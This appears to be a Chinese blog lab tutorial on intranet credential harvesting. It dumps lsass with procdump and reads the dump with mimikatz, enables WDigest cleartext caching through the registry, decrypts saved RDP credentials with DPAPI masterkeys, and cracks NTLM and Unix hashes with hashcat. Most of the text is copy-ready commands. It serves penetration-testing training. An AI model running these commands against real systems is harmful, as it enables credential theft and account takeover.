第138天:内网安全-WinLinux内存离线读取Hashcat 破解RDPSSH 存储提取

本文主要是介绍第138天:内网安全-WinLinux内存离线读取Hashcat 破解RDPSSH 存储提取,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

案例一: 明文获取-Windows-内存读取&离线读取&RDP保存&Hashcat

windows实验背景

微软为了防止明文密码泄露发布了补丁 KB2871997 ,关闭了 Wdigest 功能。当系统为 win10 2012R2 以上时,默认在内存缓存中禁止保存明文密码, 此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

实验环境  god.org

离线读取

mimikatz被拦截(木马程序)

首先先上线win2012运行获取明文密码

获取明文密码都为空,只能获取hash

利用微软官方工具,在本地离线破解密码

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

https://github.com/gentilkiwi/mimikatz

首先上传procdump程序,或者在本地设置代理运行

这个程序是微软工具,不会被杀,运行下面的命令,然后将生成的文件保存在本地

Procdump64.exe -accepteula -ma lsass.exe lsass.dmp

本地解密文件

mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonPasswords full

不一定能读出来,如果没有利用密码登录过或者没有开启存储

这里如果存储了并且登录过就能获取到明文的账号密码

不存储+禁用mimikatz

win2012以上的主机可能不会存储

通过修改注册表+强制锁屏,等待用户输入账号密码来存储

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

执行命令之前的注册表

执行命令

执行完成以后

锁屏重新登录以后,利用mimikatz抓取密码就可以直接抓取到明文密码了

在此基础上如果mimikatz也被禁用了那么用刚才的方法就可以在本地导出来密码

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

hash破解

虽然不能获得明文密码但是可以获得hash,可以直接利用网站进行破解

破解网站

MD5免费在线解密破解_MD5在线加密-SOMD5

md5解密 MD5在线解密 破解md5

RDP凭据抓取

当使用mstsc连接目标主机时往往为了方便会设置记住凭据按钮

利用win2012登录一次域控

查看连接记录的命令,这里在cs中运行时一定是你用哪个用户连接过,就用哪个用户测试

cmdkey /list

查看本地的Credentials

dir /a %userprofile%\appdata\local\microsoft\credentials\*

Credentials记录guidMasterKey值:

mimikatz dpapi::cred /in:C:\Users\dbadmin\appdata\local\microsoft\credentials\99149C3884E841134091082C3D675F52

这里值要对应上

记录MasterKey

把guidmasterkey对应的masterkey记录下来

3963b39b-eaf5-4817-ad25-a5b65367190c

运行这条命令的时候需要管理员身份

mimikatz sekurlsa::dpapi

找的时候可以复制到记事本,ctrl+f搜索

解密masterkey凭据

mimikatz dpapi::cred /in:C:\Users\dbadmin\appdata\local\microsoft\credentials\Credentials值 /masterkey:masterkey值
mimikatz dpapi::cred /in:C:\Users\dbadmin\appdata\local\microsoft\credentials\99149C3884E841134091082C3D675F52 /masterkey:158efdc88d084af08d307b4071899fd4bfa5f47813ed7885043554c2374d7f5e7b8acfbbb1ad20d8463d32dfa65b48f6979c36d44c3860b39b8501e023c34ce1

 

hashcat破解

工具下载地址: https://hashcat.net/hashcat/

参考文章: https://www.cnblogs.com/Junglezt/p/16044372.html

windows

hashcat.exe -a 0 -m 1000 hash.txt pass.txt  #-a 后面是爆破方式0代表字典爆破 -m后面是爆破数据的类型1000代表NTLM

爆破结果

使用掩码爆破方式,我的密码是admin!@#45

hashcat.exe -a 3 -m 1000 hash.txt ?l?l?l?l?l?s?s?s?d?d  #代表五个小写字母,三个字符,两个数字

 这里本来就是一个很吃设备的应用,我就不运行了,运行了一会声音很大^_^

linux

hashcat也可以破解linux密码

先查看密码

linux sha512crypt $6$, SHA512 (Unix)加密方式:
hashcat -m 1800 sha512linux.txt p.txt
linux sha256crypt $5$, SHA256 (Unix)加密方式:
hashcat -m 7400 sha256linux.txt p.txt
linux下md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)加密方式:
hashcat -m 500 linuxmd5.txt p.txt
inux下bcrypt $2*$, Blowfish加密方式:
hashcat -m 3200 linuxmd5.txt p.txt

破解

破解结果

 

这篇关于第138天:内网安全-WinLinux内存离线读取Hashcat 破解RDPSSH 存储提取的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1120635

相关文章

MyBatis-plus处理存储json数据过程

《MyBatis-plus处理存储json数据过程》文章介绍MyBatis-Plus3.4.21处理对象与集合的差异:对象可用内置Handler配合autoResultMap,集合需自定义处理器继承F... 目录1、如果是对象2、如果需要转换的是List集合总结对象和集合分两种情况处理,目前我用的MP的版本

Redis实现高效内存管理的示例代码

《Redis实现高效内存管理的示例代码》Redis内存管理是其核心功能之一,为了高效地利用内存,Redis采用了多种技术和策略,如优化的数据结构、内存分配策略、内存回收、数据压缩等,下面就来详细的介绍... 目录1. 内存分配策略jemalloc 的使用2. 数据压缩和编码ziplist示例代码3. 优化的

Python从Word文档中提取图片并生成PPT的操作代码

《Python从Word文档中提取图片并生成PPT的操作代码》在日常办公场景中,我们经常需要从Word文档中提取图片,并将这些图片整理到PowerPoint幻灯片中,手动完成这一任务既耗时又容易出错,... 目录引言背景与需求解决方案概述代码解析代码核心逻辑说明总结引言在日常办公场景中,我们经常需要从 W

深入解析C++ 中std::map内存管理

《深入解析C++中std::map内存管理》文章详解C++std::map内存管理,指出clear()仅删除元素可能不释放底层内存,建议用swap()与空map交换以彻底释放,针对指针类型需手动de... 目录1️、基本清空std::map2️、使用 swap 彻底释放内存3️、map 中存储指针类型的对象

Java+AI驱动实现PDF文件数据提取与解析

《Java+AI驱动实现PDF文件数据提取与解析》本文将和大家分享一套基于AI的体检报告智能评估方案,详细介绍从PDF上传、内容提取到AI分析、数据存储的全流程自动化实现方法,感兴趣的可以了解下... 目录一、核心流程:从上传到评估的完整链路二、第一步:解析 PDF,提取体检报告内容1. 引入依赖2. 封装

Python内存优化的实战技巧分享

《Python内存优化的实战技巧分享》Python作为一门解释型语言,虽然在开发效率上有着显著优势,但在执行效率方面往往被诟病,然而,通过合理的内存优化策略,我们可以让Python程序的运行速度提升3... 目录前言python内存管理机制引用计数机制垃圾回收机制内存泄漏的常见原因1. 循环引用2. 全局变

Java使用正则提取字符串中的内容的详细步骤

《Java使用正则提取字符串中的内容的详细步骤》:本文主要介绍Java中使用正则表达式提取字符串内容的方法,通过Pattern和Matcher类实现,涵盖编译正则、查找匹配、分组捕获、数字与邮箱提... 目录1. 基础流程2. 关键方法说明3. 常见场景示例场景1:提取所有数字场景2:提取邮箱地址4. 高级

使用SpringBoot+InfluxDB实现高效数据存储与查询

《使用SpringBoot+InfluxDB实现高效数据存储与查询》InfluxDB是一个开源的时间序列数据库,特别适合处理带有时间戳的监控数据、指标数据等,下面详细介绍如何在SpringBoot项目... 目录1、项目介绍2、 InfluxDB 介绍3、Spring Boot 配置 InfluxDB4、I

使用Java读取本地文件并转换为MultipartFile对象的方法

《使用Java读取本地文件并转换为MultipartFile对象的方法》在许多JavaWeb应用中,我们经常会遇到将本地文件上传至服务器或其他系统的需求,在这种场景下,MultipartFile对象非... 目录1. 基本需求2. 自定义 MultipartFile 类3. 实现代码4. 代码解析5. 自定

MySQL 数据库表操作完全指南:创建、读取、更新与删除实战

《MySQL数据库表操作完全指南:创建、读取、更新与删除实战》本文系统讲解MySQL表的增删查改(CURD)操作,涵盖创建、更新、查询、删除及插入查询结果,也是贯穿各类项目开发全流程的基础数据交互原... 目录mysql系列前言一、Create(创建)并插入数据1.1 单行数据 + 全列插入1.2 多行数据